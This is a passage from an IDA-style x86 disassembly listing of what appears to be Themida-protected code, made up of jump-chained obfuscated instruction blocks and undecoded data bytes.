		push	ecx
		jmp	loc_55792D
; ---------------------------------------------------------------------------
		dd 4C181h, 0C1830000h, 240C3304h, 0E9240C31h, 0FFFF5A80h
		dd 0E95AD301h, 0FFFFD281h
; ---------------------------------------------------------------------------


loc_566F30:				; CODE XREF: Themida_:00557293j
		add	ebp, 132DFAB6h
		mov	esi, ebp
		jmp	loc_55F4B5
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 0E189515Eh, 33F0BB53h, 0EB81408Dh, 57B5466Fh, 0FF8B04E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_566F55:				; CODE XREF: Themida_:00558DB9j
		pop	ebp
		add	ebp, 70BB5ACEh
		mov	ebx, [esp]
		add	esp, 4
		push	ebp
		jmp	loc_55E84A
; ---------------------------------------------------------------------------


loc_566F68:				; CODE XREF: Themida_:0055FF0Ej
		pop	esi
		jmp	loc_5567B5
; ---------------------------------------------------------------------------
		dw 505Dh
		dd 0FF7830E9h, 22F781FFh, 31737B6Ch, 0EED5E9FAh, 2C31FFFFh
		dd 242C3324h, 0FF0243E9h, 0C8B66FFh, 0EF6DE924h, 0ED81FFFFh
		dd 47E364A1h, 12C7BA52h, 0D5090EE0h, 81C5815Ah,	4D46CA75h
		dd 8904EC83h, 38B82404h, 2D2AC45Dh, 60C36094h, 876B3905h
		dd 0E9D0F76Bh, 0FFFF50AAh, 9D450F68h, 0C9E8E958h, 8953FFFFh
		dd 38BF57E3h, 4F61183Dh, 0FFA6E0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_566FE1:				; CODE XREF: Themida_:00562044j
		push	eax
		mov	eax, 6C782F4Ah
		add	[esp+4], eax
		jmp	loc_56A4B7
; ---------------------------------------------------------------------------
		dd 6604C483h, 81240C8Bh, 2C4h, 53EE2C00h, 0FE45B050h, 8E0C0C8h
		dd 0FF305AE9h, 0E5205BFFh, 0E210E958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_567016:				; CODE XREF: Themida_:0056A7B4j
		add	esp, 4
		jmp	loc_55FC16
; ---------------------------------------------------------------------------
		dw 148Bh
		dd 4C48124h, 0E9000000h, 0FFFFC89Bh, 405h, 4C08300h, 0FEECD6E9h
		dd 4C483FFh, 4C481h, 0C3800000h, 0F3C380A2h, 0EB80C300h
		dd 4D6866F3h, 0C896648h, 52A2B524h, 0E9E6B753h,	23EBh
		dd 374DBD55h, 1FE90610h, 8B00000Bh, 0C483240Ch,	0F7B35304h
		dd 0FE39C380h, 56DAE9C3h, 41E9FFFFh, 89FFFEECh,	405E0h
		dd 0C0830000h, 24048704h, 0CD13E95Ch, 0E952FFFFh, 0FFFF89B2h
		dd 0BF57E289h, 4, 7BFBEA81h, 0FA010FBBh, 7BFBC281h, 34FF0FBBh
		dd 0C4815F24h, 4, 0FF9E37E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5670C1:				; CODE XREF: Themida_:005641E3j
		pop	esi
		jmp	loc_564CA8
; ---------------------------------------------------------------------------


loc_5670C7:				; CODE XREF: Themida_:0055CA42j
		pop	ebp
		jmp	loc_560BBE
; ---------------------------------------------------------------------------
		db 89h,	4, 24h
		dd 0FF76F3E9h, 0C381FFh, 813B1162h, 5A8574F3h, 5BDE8910h
		dd 15EF101h, 0E4E981E9h, 5D5BC827h, 0FF1541E9h,	4EC81FFh
		dd 89000000h, 0E6892434h, 4EC81h, 3C890000h, 81E78924h
		dd 4C7h, 4EF8300h, 5C243C87h, 0E9240C89h, 0FFFF1716h, 4C181h
		dd 0C870000h, 24248B24h, 2BF57h, 0E9810000h, 56704C2h
		dd 0C181F901h, 56704C2h, 240C875Fh, 0FF8654E9h,	24148BFFh
		dd 8104C483h, 4C2h, 4EC8300h, 0E9242C89h, 0FFFF5D32h, 0EA530005h
		dd 5E6E904h, 815EFFFFh,	4C6h, 0F58FE900h, 34FFFFFFh, 15E95824h
		dd 56FFFF0Ah, 0DF1A6CBEh, 80EF81DFh, 29308E5Dh,	80C781F7h
		dd 5E308E5Dh, 835FFA01h, 0FF5204C2h, 8B042474h,	0E9532414h
		dd 2C94h, 4C781h, 0B8500000h, 676D62FEh, 0DA4F352Dh, 19DCE95Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5671BE:				; CODE XREF: Themida_:0055F886j
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_569AFE
; ---------------------------------------------------------------------------


loc_5671C7:				; CODE XREF: Themida_:005684ECj
		mov	ebp, [esp]
		add	esp, 4
		add	esp, 4
		push	ebp
		mov	ebp, 42C05735h
		jmp	loc_560733
; ---------------------------------------------------------------------------
		db 1
		dd 0DAEB81D3h, 81445D38h, 813188C3h, 0C7815A63h, 1183217Eh
		dd 0EF81DF29h, 1183217Eh, 0E9241C8Bh, 0FFFEFD6Ch, 168h
		dd 4C36E900h, 0C481FFFFh, 4, 0E901EF83h, 0FFFF2F6Ch, 0FEEAA7E9h
		dd 0B7CE81FFh, 817CE358h, 0D862AAC6h, 0F3FAE921h, 0D301FFFFh
		dd 8324148Bh, 0EC8304C4h, 240C8904h, 7A1FE957h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_567242:				; CODE XREF: Themida_:005686ADj
		add	edx, 531D1A87h
		push	32BCh
		mov	[esp], edx
		pop	edi
		push	dword ptr [esp]
		jmp	loc_55EAF7
; ---------------------------------------------------------------------------
		db 51h,	0E9h, 72h
		dd 0FFFFFF71h, 0EFE92434h, 81FFFFCBh, 542A60C1h, 81D1F731h
		dd 0D0CAE2F1h, 0B4C28112h, 0E926D606h, 3618h, 7F2EBD55h
		dd 0E9890046h, 0BF1815Dh, 81778910h, 0A5742EF1h, 0BD554908h
		dd 498B7DAAh, 815DE901h, 1733C1E9h, 87BD5501h, 318FAC13h
		dd 242C8BE9h, 4C481h, 0CB310000h, 1EB8159h, 0C1000000h
		dd 0EC8302EBh, 24348904h, 0DA6DC6BEh, 5EF33124h, 0FEF291E9h
		dd 4BE56FFh, 5000000h, 73A1488h, 0A85BA52h, 0D0294840h
		dd 0E9F0015Ah, 1C1Ah
; ---------------------------------------------------------------------------


loc_5672F0:				; CODE XREF: Themida_:0055F6DFj
		mov	ecx, [esp]
		add	esp, 4


loc_5672F9:				; CODE XREF: Themida_:005580CAj
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		push	edi
		mov	edi, 5ADE29DBh
		add	edi, 0A521D629h
		add	ecx, edi
		push	dword ptr [esp]
		pop	edi
		push	esi
		jmp	loc_55DACE
; ---------------------------------------------------------------------------


loc_56731C:				; CODE XREF: Themida_:00560A6Aj
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		or	eax, eax
		jz	loc_56738A
		push	dword ptr [edi+1Ch]
		push	ecx
		mov	ecx, 6B5B0625h
		xor	[esp+4], ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_55FAD1
; ---------------------------------------------------------------------------


loc_567350:				; CODE XREF: Themida_:005651BBj
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	eax, 4
		sub	eax, 4
		push	eax
		push	dword ptr [esp+4]
		mov	eax, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_56A04E
; ---------------------------------------------------------------------------
		db 5Ch
		dd 0FEE93FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_567385:				; CODE XREF: Themida_:0055B663j
		pop	esp
		pop	eax
		pop	dword ptr [edi+24h]


loc_56738A:				; CODE XREF: Themida_:0056732Ej
		push	4CFAh
		jmp	loc_562C68
; ---------------------------------------------------------------------------


loc_567394:				; CODE XREF: Themida_:005604F5j
		shr	esi, 5
		push	edi
		mov	edi, 45302E7Fh
		xor	esi, edi
		pop	edi
		neg	esi
		add	esi, 6097E6A2h
		or	ebx, esi
		pop	esi
		push	ecx
		mov	ecx, 3B740B30h
		shr	ecx, 4
		sub	ecx, 7D255E8Fh
		and	ecx, 223830F0h
		push	ebp
		jmp	loc_5580F3
; ---------------------------------------------------------------------------


loc_5673C6:				; CODE XREF: Themida_:0055C0CDj
		add	cl, 9Fh
		and	cl, 0F7h
		or	cl, 68h
		sub	cl, 0F6h
		jmp	loc_557EAE
; ---------------------------------------------------------------------------
		db 0B7h
		dd 0E9F828D3h, 0FFFF777Eh
; ---------------------------------------------------------------------------


loc_5673E0:				; CODE XREF: Themida_:0055CE54j
		mov	ecx, esi
		jmp	loc_55DEAB
; ---------------------------------------------------------------------------
		db 0F6h
		dd 80C3FED3h, 0D4E948CBh
		db 99h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5673F3:				; CODE XREF: Themida_:0055C118j
		mov	edx, 2
		jmp	loc_5648DD
; ---------------------------------------------------------------------------


loc_5673FD:				; CODE XREF: Themida_:00567789j
		mov	ch, dh
		mov	bl, ch
		pop	ecx
		mov	[edi+eax*4], bl
		pop	ebx
		pop	edx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_555CC4
; ---------------------------------------------------------------------------


loc_567412:				; CODE XREF: Themida_:00559D58j
		pop	ebp
		push	edi
		mov	edi, 39DF35EDh
		jmp	loc_567FC2
; ---------------------------------------------------------------------------


loc_56741E:				; CODE XREF: Themida_:0056245Aj
		dec	edi
		push	0
		sub	[esp], edi
		pop	edi
		neg	edi
		xor	edi, 0B89748FBh
		add	eax, edi
		pop	edi
		sub	eax, 4
		xchg	eax, [esp]
		jmp	loc_55FE27
; ---------------------------------------------------------------------------


loc_56743E:				; CODE XREF: Themida_:0055F051j
		push	eax
		mov	eax, 26E132E5h
		or	eax, 414C7520h
		shr	eax, 5
		xor	eax, 71540DA9h
		or	eax, 6BAE2A85h
		add	eax, 8410916Dh
		add	edi, eax
		pop	eax
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_562BCD
; ---------------------------------------------------------------------------
		dw 0EB81h
		dd 445808DEh, 0B968D301h, 0E9000079h, 0FFFFCA51h, 0B22455BFh
		dd 5FF90174h, 1C33E181h, 0FCE91242h, 5BFFFFD8h,	4C481h
		dd 0B8500000h, 0C192CB2h, 0C64E012Dh, 33E9407Bh, 66FFFFAAh
		dd 9C2404FFh, 0FEE813E9h, 2C0605FFh, 742D222Ch,	1798260h
		dd 24048BC2h, 5304C483h, 41C02BBh, 0A7BA525Eh, 0E9517E31h
		dd 0FFFFABBFh, 582434FFh, 1C9A68h, 213AE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5674E2:				; CODE XREF: Themida_:0055EB97j
		push	eax
		mov	eax, esp
		jmp	loc_55DA10
; ---------------------------------------------------------------------------
		dw 0E951h
		dd 0FFFF6E29h, 685EF509h, 7E28h, 0E9240C89h, 0FFFF5276h
		dd 5724348Bh, 5BFE9h
		db 0
; ---------------------------------------------------------------------------


loc_567509:				; CODE XREF: Themida_:00562722j
		add	eax, 1A0535A9h
		add	eax, edi
		push	ecx
		mov	ecx, 434A027Ch
		shr	ecx, 1
		xor	ecx, 0F4536D8h
		shr	ecx, 6
		jmp	loc_55BF9B
; ---------------------------------------------------------------------------
		dw 0D25Ch
		dd 0E99C240Ch, 0FFFEE794h, 42474FFh, 0E9242C8Bh, 0FFFFB273h
		dd 77CF68h, 24048900h, 0FEE77BE9h, 24248BFFh, 0FF2434FFh
		dd 68592434h, 5F81h, 54240489h,	0FF23B9E9h, 815B58FFh
		dd 4ECh, 24048900h, 4B8h, 9EBE5600h, 16AD935h, 24348BF3h
		dd 4C481h, 0C3010000h, 0FF14F6E9h, 8BC289FFh, 0C4812404h
		dd 4, 0FFF13EE9h, 66E1F6FFh, 66CCB60Fh,	666F1668h, 66240C89h
		dd 66C8B60Fh, 0BBE99C51h, 5DFFFF8Ch, 50E28952h,	4B8h, 0FFC20100h
		dd 81582434h, 4C4h, 4EA8100h, 0E9000000h, 0FFFF04F8h, 0D9C2815Fh
		dd 31078D9Bh, 0E8C15AD0h, 0A3E95302h, 0FFFFFEF3h, 835B2434h
		dd 0C58104C4h, 10C01068h, 41E9DD01h, 0B800000Ah, 2B8B51D9h
		dd 6825AD05h, 72120D39h, 0D8F75A43h, 6E05D8F7h,	1810C88h
		dd 0EA8358C2h, 0EB39E904h, 0E957FFFEh, 869h
; ---------------------------------------------------------------------------


loc_567624:				; CODE XREF: Themida_:0056A228j
		push	239272E5h
		mov	ebp, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_556705
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
		dd 3804E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_567642:				; CODE XREF: Themida_:00561000j
		push	3FC9h
		jmp	loc_563D36
; ---------------------------------------------------------------------------
		dd 24148966h, 0B55146B2h, 0E9E80072h, 0FFFF8A0Dh
; ---------------------------------------------------------------------------


loc_56765C:				; CODE XREF: Themida_:00562A06j
		mov	eax, 63310CA8h
		sub	eax, 749C457Fh
		jmp	loc_559294
; ---------------------------------------------------------------------------
		db 51h
		dd 0CA37ECB9h, 6E1C103h, 5EA8E181h, 0E94178B7h,	0FFFFD677h
		dd 0C0FFE95Ch, 0D9F7FFFFh, 5FB7C981h, 0D9F753C5h, 2AC9E9h
		dd 0E2895200h, 4C281h, 0EA830000h, 24148702h, 3C89665Ch
		dd 74FF6624h, 1AE90224h
		db 6, 2	dup(0FFh)
; ---------------------------------------------------------------------------


loc_5676B3:				; CODE XREF: Themida_:0055DE91j
		pop	edi
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		xor	[esp], eax
		pushf
		jmp	loc_557968
; ---------------------------------------------------------------------------


loc_5676C6:				; CODE XREF: Themida_:0055FE19j
		shr	edx, 1
		cmp	eax, edx
		jz	loc_55E143
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_5661A3
; ---------------------------------------------------------------------------
aSiIZ		db 'SˆÓˆÝ[Z,',0Ah,0
		db 0E8h, 0E9h, 0D3h
		db 0D7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5676EB:				; CODE XREF: Themida_:0055BBEAj
		xchg	eax, [esp]
		pop	esp
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_555CC4
; ---------------------------------------------------------------------------
		db 0BEh, 46h, 77h
		dd 0F7095CB3h, 2BEF815Eh, 29050D13h, 0E95E5FFAh, 0FFFFC220h
; ---------------------------------------------------------------------------


loc_567710:				; CODE XREF: Themida_:005619E4j
		xor	ecx, ebx
		jmp	loc_55A432
; ---------------------------------------------------------------------------
		db 5Fh
		dd 0EA81EA01h, 1D357593h, 8B2434FFh, 0C481242Ch, 4, 8304C483h
		dd 148702C2h, 24248B24h, 24043166h, 0E582E99Ch,	1433FFFEh
		dd 71E95C24h, 52FFFF7Ch, 1CB2BB53h, 89BA4BD0h, 293558F2h
		dd 0D3015BDAh, 0E9DA015Ah, 0FFFFB094h
; ---------------------------------------------------------------------------


loc_567764:				; CODE XREF: Themida_:0055A4C1j
		xor	ecx, ebx
		pop	ebx
		pop	edi
		add	edi, ecx
		mov	ecx, [esp]
		jmp	loc_55C747
; ---------------------------------------------------------------------------


loc_567772:				; CODE XREF: Themida_:00556A2Cj
		mov	edi, 648429E8h
		push	475Fh
		mov	[esp], ecx
		jmp	loc_55B981
; ---------------------------------------------------------------------------


loc_567784:				; CODE XREF: Themida_:00567FBDj
		add	esp, 4
		push	ebx
		push	ecx
		jmp	loc_5673FD
; ---------------------------------------------------------------------------


loc_56778E:				; CODE XREF: Themida_:005647DBj
		push	eax
		jmp	loc_56A0E6
; ---------------------------------------------------------------------------


loc_567794:				; CODE XREF: Themida_:005640C2j
		mov	edx, 4
		add	ebx, edx
		pop	edx
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_55B53D
; ---------------------------------------------------------------------------
		db 0FFh, 77h, 1Ch
		dd 6658669Dh, 9C240419h, 0FEE50FE9h, 19E95CFFh
		db 0F3h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5677BB:				; CODE XREF: Themida_:005624DAj
		inc	dh
		add	dh, 0FFh
		add	dh, 40h
		add	dh, 0F3h
		jmp	loc_558AD9
; ---------------------------------------------------------------------------


loc_5677CB:				; CODE XREF: Themida_:00569E15j
		sub	al, dl
		push	edx
		mov	dh, 87h
		sub	al, dh
		jmp	loc_55F6E4
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0C8B2434h, 4EC8324h,	0FF74F4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5677E5:				; CODE XREF: Themida_:005578A8j
		mov	ebx, [esp]
		add	esp, 4
		sub	esi, 4F331C3Bh
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], edx
		mov	edx, 483C15CCh
		add	edx, 0FD2B40A6h
		sub	esi, edx
		pop	edx
		shl	esi, 5
		jmp	loc_55B108
; ---------------------------------------------------------------------------
		dd offset dword_457444+56724h
		align 2
		dw 3489h
		dd 24478F24h, 0FEFE8FE9h, 32FF66FFh, 0FEE48BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_567839:				; CODE XREF: Themida_:005568B8j
		movzx	cx, al
		jmp	loc_55DE96
; ---------------------------------------------------------------------------
		dw 0E168h
		dd 89000067h, 74FF241Ch, 1C8B0424h, 4C48324h, 0FF4B55E9h
		dd 0A5E95BFFh
		db 3Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56785F:				; CODE XREF: Themida_:0055A650j
		xor	ebx, [esp]
		jmp	loc_568E2E
; ---------------------------------------------------------------------------
aUsk		db 'UéŠ+',0
		db 0
; ---------------------------------------------------------------------------


loc_56786D:				; CODE XREF: Themida_:00558FBEj
		push	dword ptr [esp]
		pop	edx
		push	esi
		push	327h
		jmp	loc_566549
; ---------------------------------------------------------------------------


loc_56787C:				; CODE XREF: Themida_:00560161j
		mov	ebx, 723A57EFh
		mov	edx, ebx
		pop	ebx
		shr	edx, 6
		and	edx, 7FE85044h
		jmp	loc_562249
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 0FFA10CE9h, 4C681FFh, 0E9000000h,	0FFFF618Eh, 0E9242C8Bh
		dd 0FFFF9736h, 8B241C87h, 14892424h, 0E9E0B624h, 0FFFF8068h
		dd 4B850h, 44010000h, 92E90424h, 58FFFFFCh, 1428E950h
		dd 89520000h, 4C281E2h,	81000000h, 4C2h, 24143300h, 33241431h
		dd 555C2414h, 0FF1988E9h, 1BADBAFFh, 71E92FD7h,	53FFFF96h
		dd 0FF64E6E9h, 0D0B2FFh, 665A66D3h, 81240C8Bh, 4ECh, 242C8900h
		dd 0C581E589h, 4, 2C581h, 2C870000h, 24248B24h,	0E9C0B60Fh
		dd 0FFFF4735h, 0C980D9F6h, 0C5C98011h, 68D9E980h, 1FE6h
		dd 0B6241489h, 0E9F1309Fh, 0FFFFD550h, 2FECE981h, 0C1811418h
		dd 3CE9919Dh, 1BEBE9h
		db 0
; ---------------------------------------------------------------------------


loc_567961:				; CODE XREF: Themida_:005594E9j
		mov	ebp, 22156872h
		or	ebp, 41533C10h
		jmp	loc_56A556
; ---------------------------------------------------------------------------
		db 50h,	0B8h, 3Ch
		dd 29491C26h, 34FF58C7h, 0C4815824h, 4,	8704EF83h, 248B243Ch
		dd 24348924h, 36685652h, 5E555840h, 0FF374BE9h,	240C8BFFh
		dd 4C481h, 2AE90000h, 58FFFFCBh, 0FF417EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5679B1:				; CODE XREF: Themida_:00559971j
		push	bx
		mov	bh, 0AFh
		jmp	loc_5567D6
; ---------------------------------------------------------------------------
		dw 0F659h
aQrst8		db 'ßQRéT8',0
		align 4
		dd 4C481h, 0D8000000h, 54569204h, 4C6815Eh, 81000000h
		dd 4EEh, 24348700h, 0FFC731E9h,	9CD2BEFFh, 2DE9B105h, 5EFFFF61h
		dd 81E68956h, 4C6h, 4C68300h, 5C243487h, 4C381h, 1C330000h
		dd 241C3124h, 5C241C33h, 4C381h, 0F0E90000h
		db 2Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_567A1B:				; CODE XREF: Themida_:005609FDj
		pop	esp
		jmp	loc_5615AF
; ---------------------------------------------------------------------------


loc_567A21:				; CODE XREF: Themida_:00563C4Ej
		push	dx
		mov	dl, 0CEh
		xor	dl, 0B3h
		jmp	loc_568821
; ---------------------------------------------------------------------------
		db 5Ch,	1, 4
		dd 8DE99C24h, 0BFFFFEE2h, 126D0761h, 0E7C1DFF7h, 83C78108h
		dd 89CE9661h, 47895FF8h, 2434FF20h, 4C48158h, 29000000h
		dd 15E92047h, 8BFFFEEAh, 14892424h, 0E2895224h,	4C281h
		dd 56500000h, 97052FBEh, 2FF8B834h, 0F0010AAFh,	0FF264CE9h
		dd 4C281FFh, 81000000h,	4EAh, 49E5E900h, 248BFFFFh, 24048B24h
		dd 198CE9h
		db 0
; ---------------------------------------------------------------------------


loc_567A9D:				; CODE XREF: Themida_:0055C3A9j
		push	esi
		push	edi
		push	ecx
		mov	ecx, 2E4450A7h
		shr	ecx, 1
		sub	ecx, 70D12E25h
		xor	ecx, 763E1BE6h
		sub	ecx, 894F8FD1h
		mov	edi, ecx
		pop	ecx
		mov	esi, 0C08F17CBh
		add	esi, edi
		jmp	loc_5654EF
; ---------------------------------------------------------------------------
		dd 0C781E789h, 4, 333CE9h, 24148B00h, 0FFB929E9h, 306281FFh
		dd 37AB5F0Ah, 2F304281h, 81313975h, 4B98306Ah, 0B8503DC5h
		dd 13B43474h, 5503E0C1h, 7F7166BDh, 6BF58146h, 97E1E53h
		dd 772D5DE8h, 975F062h,	5AE93042h
		db 53h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_567B17:				; CODE XREF: Themida_:0055AAFFj
		and	eax, esi
		pop	esi
		shr	eax, 12h
		xor	eax, ecx
		jmp	loc_55C836
; ---------------------------------------------------------------------------
		dd 0E9240C33h, 0FFFF34BDh, 4C481h, 68500000h, 4, 0FF7806E9h
		dd 0E95066FFh, 0FFFFDA82h, 6CE9F731h, 1FFFF8Fh,	240C8BCAh
		dd 0FFEF51E9h, 0E9FE08FFh, 1EBDh, 241C8966h, 0E0BD6655h
		dd 0EB89660Eh, 8966565Dh, 896652DEh, 0D58966F2h, 0FEF222E9h
		dd 244401FFh, 246C8108h, 0C928F208h, 0B792E941h, 0EB01FFFFh
		dd 0F44FE95Dh, 48FFFFEh, 34FF5C24h, 2434FF24h, 4EC8159h
		dd 0E9000000h, 0FFFF416Bh, 0FCBF5752h, 0E9223144h, 0FFFF4FEDh
		dd 0C15FFB29h, 0EB8104EBh, 4133E69h, 0FF2CBCE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_567BC5:				; CODE XREF: Themida_:00563097j
		pop	eax
		push	16Dh
		mov	[esp], ecx
		push	20F9h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		sub	esp, 4
		mov	[esp], esi
		push	ebx
		push	edx
		mov	edx, 2E3364CAh
		push	esi
		mov	esi, 1FBC1C92h
		mov	ebx, esi
		pop	esi
		xor	ebx, edx
		jmp	loc_55E373
; ---------------------------------------------------------------------------
		db 81h
		dd 4C2h, 4B95100h, 29000000h, 143359CAh, 24143124h, 0E9241433h
		dd 0FFFF2820h, 4EC835Ch, 68242C89h, 4F12h, 0B8240489h
		dd 8AB689Dh, 21168h, 5908E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_567C36:				; CODE XREF: Themida_:00556D5Cj
		push	ebx
		mov	ebx, 576C2B94h
		neg	ebx
		and	ebx, 0AF03835h
		jmp	loc_565256
; ---------------------------------------------------------------------------
		db 0B1h, 0F3h, 88h
		dd 0C0FE59C8h, 0C8FE5824h, 3434C0FEh, 0A8E1E953h, 0C39DFFFFh
		dd 0FEE05FE9h, 48B66FFh, 0EC815324h, 4,	55242489h, 4BDh
		dd 246C0100h, 7B9EE904h, 0E959FFFFh, 0FFFF70A8h, 24048B66h
		dd 988EE951h, 895CFFFFh, 2682414h, 0E9000000h, 0FFFFF37Eh
		dd 4C4835Dh, 8904EC83h,	0F2BD242Ch, 68389247h, 0EF7h, 0E9243489h
		dd 0FFFFB7E2h, 314968h,	24148900h, 6F02CDBAh, 0E9D38913h
		dd 0FFFF5268h, 1C8BDF01h, 4C48124h, 81000000h, 2C7h, 2BCEE900h
		dd 0E95AFFFFh, 0FFFF941Ah
; ---------------------------------------------------------------------------


loc_567CEC:				; CODE XREF: Themida_:0056515Bj
		xor	[esp+4], ecx
		mov	ecx, [esp]
		sub	esp, 4
		mov	[esp], edx
		push	esp
		mov	edx, [esp]
		add	esp, 4
		add	edx, 4
		add	edx, 4
		jmp	loc_5595D2
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 0BD000000h, 0EA72DCEFh, 26DC581h, 0C5293827h, 26DED81h
		dd 48B3827h, 4C48124h, 45000000h, 5704E5C1h, 0AD726FBFh
		dd 5FFD213Fh, 8102EDC1h, 691812F5h, 8BEB010Dh, 0C483242Ch
		dd 241C8704h, 288645Ch,	0FEDF67E9h, 0E28952FFh,	4C281h
		dd 0C2810000h, 4, 5C241487h, 8B24048Fh,	0C1382424h, 0DF46E99Ch
		dd 0F000FFFEh, 58C6285Ah, 2EC81h, 89660000h, 4CB3241Ch
		dd 0F6D5F380h, 64C9E9DBh, 0EC81FFFFh, 4, 0FFBF12E9h, 2E8C1FFh
		dd 7F0F4935h, 7F32E906h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_567DB2:				; CODE XREF: Themida_:00567F9Bj
		push	ebp
		mov	ebp, 51CE092Ch
		xor	ecx, ebp
		mov	ebp, [esp]
		jmp	loc_55BD3E
; ---------------------------------------------------------------------------
		dw 5366h
		dd 0FFCDEFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_567DC9:				; CODE XREF: Themida_:0055FBA0j
		mov	eax, edi
		mov	edi, [esp]
		jmp	loc_556D56
; ---------------------------------------------------------------------------
		db 89h
		dd 0E954242Ch, 0FFFEEC76h, 0B9240C89h, 48602C71h, 8103E1C1h
		dd 0C67095F1h, 59CB294Dh, 0C381F301h, 0EC7131Dh, 0FFF140E9h
		dd 9968FFh, 0D5E90000h,	0FFFFFF24h, 50592434h, 52A1E954h
		dd 0DBF7FFFFh, 0FF6184E9h, 0BD5559FFh, 20FE291Eh, 19F581h
		dd 49E91802h
		db 40h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_567E2B:				; CODE XREF: Themida_:005604A2j
		dec	ecx
		sub	ecx, 4F0E682Ch
		shr	ecx, 5
		sub	ecx, 5536BC9h
		add	ebp, ecx
		pop	ecx
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		jmp	loc_56951F
; ---------------------------------------------------------------------------
		dd 40E3BF57h, 0FE011AB3h, 1DC6815Fh, 0E97D6A2Dh, 0FFFF6631h
		dd 6ABE565Dh, 31174107h, 0EF895EF5h, 0FEE081E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_567E71:				; CODE XREF: Themida_:005570E4j
		mov	ebp, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 3ACC2A9Dh
		sub	ebp, ebx
		pop	ebx
		push	edi
		push	eax
		push	ecx
		jmp	loc_56AD16
; ---------------------------------------------------------------------------
		db 0FFh, 74h, 24h
		dd 48F5F04h, 0C895C24h,	0F12AE924h, 0E801FFFEh,	2404335Dh
		dd 0E9240431h, 0FFFF3EB5h, 1728E581h, 0E5812AB5h, 60EC13A2h
		dd 0FF45E1E9h, 0C09FB3FFh, 516603E3h, 0FF3D4AE9h, 0EC815AFFh
		dd 4, 0E9241C89h, 720h
; ---------------------------------------------------------------------------


loc_567ED8:				; CODE XREF: Themida_:00556DF4j
		sub	edx, 643C2D4Ah
		jmp	loc_5614BC
; ---------------------------------------------------------------------------
		db 5Ch
		dd 0B9240C89h, 945631Dh, 2414F751h, 0D8F18159h,	872D5D72h
		dd 87D2F7D1h, 0C1F181D1h, 0E9241811h, 0FFFF3937h, 3EE95650h
		db 0B4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_567F0F:				; CODE XREF: Themida_:0056018Ej
		xor	[esp], ecx
		jmp	loc_55C762
; ---------------------------------------------------------------------------


loc_567F17:				; CODE XREF: Themida_:00555DCBj
		pop	esp
		add	bx, 12D8h
		sub	bx, ax
		jmp	loc_55BE8E
; ---------------------------------------------------------------------------
		db 81h,	0E9h, 78h
		dd 121A929h, 78C181D1h,	5521A929h, 321A21BDh, 1DC1811Ah
		dd 29161161h, 1DE981E9h, 5D161161h, 2294C181h, 63E9582Fh
		db 0E6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_567F53:				; CODE XREF: Themida_:0055B0E3j
		mov	eax, [esp]
		jmp	loc_556EE5
; ---------------------------------------------------------------------------
		db 66h
		dd 83240C8Bh, 48904ECh,	68E08924h, 5CE4h, 53241489h, 4EC81h
		dd 3C890000h, 4C5EBF24h, 33E93452h, 88FFFF85h, 0C3FE58E3h
		dd 8002E3C0h, 0CBFE6DE3h, 0FFB876E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_567F95:				; CODE XREF: Themida_:00563C9Ej
		push	ecx
		mov	ecx, 4BE72CF8h
		jmp	loc_567DB2
; ---------------------------------------------------------------------------
		dd 2515EE81h, 815D105Eh, 0EC768CE6h, 4016E95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_567FB2:				; CODE XREF: Themida_:0056A273j
		pop	esp
		mov	[esp], eax
		mov	ah, bl
		mov	dh, ah
		mov	eax, [esp]
		jmp	loc_567784
; ---------------------------------------------------------------------------


